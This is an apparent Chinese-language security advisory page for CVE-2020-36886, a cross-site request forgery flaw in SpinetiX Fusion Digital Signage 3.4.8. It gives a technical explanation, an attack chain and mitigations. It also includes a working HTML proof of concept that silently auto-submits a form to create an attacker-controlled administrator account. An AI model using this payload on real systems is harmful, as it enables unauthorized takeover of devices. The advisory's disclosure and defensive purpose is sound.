IPBUF安全漏洞报告
English
CVE-2020-36886 CVSS 8.8 高危

CVE-2020-36886 SpinetiX Fusion数字标牌跨站请求伪造漏洞

披露日期: 2025-12-10

漏洞信息

漏洞编号
CVE-2020-36886
漏洞类型
跨站请求伪造(CSRF)
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
SpinetiX Fusion Digital Signage

相关标签

跨站请求伪造CSRFSpinetiX数字标牌权限提升CVE-2020-36886高危漏洞Web应用安全

漏洞概述

CVE-2020-36886是SpinetiX Fusion Digital Signage 3.4.8版本中的一个高危跨站请求伪造(CSRF)漏洞。该漏洞允许未经认证的攻击者通过诱导已登录的管理员用户访问恶意网页,自动提交创建管理员账户的请求。攻击成功后,攻击者可以获得具有完全系统权限的管理员账户,从而完全控制受影响的数字标牌系统。此漏洞存在于用户创建功能的请求验证机制中,攻击者利用社会工程学技术,通过钓鱼邮件、恶意链接等方式诱骗管理员访问特制的网页,即可悄无声息地执行恶意操作。由于数字标牌系统通常部署在公共场所用于信息展示,攻击者获取管理员权限后可能进一步进行横向移动或窃取敏感信息。

技术细节

该漏洞根因于SpinetiX Fusion Digital Signage的Web管理界面在处理用户创建请求时缺少CSRF token验证机制。攻击者构造一个包含自动提交表单的恶意HTML页面,当已登录的管理员访问该页面时,浏览器会自动向目标服务器的/user/add或类似端点发送POST请求。请求参数中包含新管理员账户的用户名、密码等配置信息。由于服务器端未验证请求的来源是否合法(缺少Origin或Referer头验证,也缺少CSRF token),系统会将此请求视为合法操作并创建新的管理员账户。攻击者通常会在表单中设置auto-submit属性确保用户无感知地触发请求,或者使用JavaScript的XMLHttpRequest/Fetch API在后台静默提交。这种攻击方式对管理员用户完全不可见,且可绕过传统的登录认证机制直接获得系统控制权。

攻击链分析

STEP 1
步骤1: 侦察阶段
攻击者识别目标SpinetiX Fusion Digital Signage系统版本(3.4.8),确认其Web管理界面存在且可访问
STEP 2
步骤2: 恶意页面构建
攻击者构造包含自动提交表单或JavaScript代码的恶意HTML页面,表单目标指向目标服务器的用户创建API端点
STEP 3
步骤3: 社会工程攻击
攻击者通过钓鱼邮件、恶意链接或其他社会工程手段诱导已登录的管理员用户访问恶意网页
STEP 4
步骤4: 请求自动提交
当管理员浏览器加载恶意页面时,JavaScript自动向目标服务器发送POST请求,创建新的管理员账户
STEP 5
步骤5: 权限获取
攻击者使用新创建的管理员凭据登录系统,获得完全控制权,可进行配置修改、恶意内容推送等操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2020-36886 CSRF PoC - Create Admin User --> <!DOCTYPE html> <html> <head> <title>SpinetiX Fusion CSRF Exploit</title> </head> <body> <h2>SpinetiX Fusion Digital Signage CSRF Exploit</h2> <p>Creating new admin user...</p> <form id="exploitForm" action="http://target:8080/api/users" method="POST" style="display:none;"> <input type="hidden" name="username" value="attacker_admin"> <input type="hidden" name="password" value="P@ssw0rd123!"> <input type="hidden" name="email" value="[email protected]"> <input type="hidden" name="role" value="administrator"> <input type="hidden" name="enabled" value="true"> <input type="hidden" name="_csrf" value=""> </form> <script> // Auto-submit the form when page loads document.getElementById('exploitForm').submit(); // Optional: Use Fetch API for stealthier attack /* fetch('http://target:8080/api/users', { method: 'POST', mode: 'no-cors', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({ username: 'attacker_admin', password: 'P@ssw0rd123!', email: '[email protected]', role: 'administrator', enabled: true }) }); */ </script> </body> </html>

影响范围

SpinetiX Fusion Digital Signage < 3.4.8
SpinetiX Fusion Digital Signage 3.4.8

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)对管理界面启用IP白名单访问控制;2)监控Web服务器的访问日志,关注异常的用户创建请求;3)提醒管理员不要点击来源不明的链接;4)临时禁用用户自助注册功能,仅允许通过CLI或安全通道创建用户;5)使用Web应用防火墙(WAF)配置CSRF防护规则;6)定期检查系统用户列表,及时发现并删除未授权创建的管理员账户。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表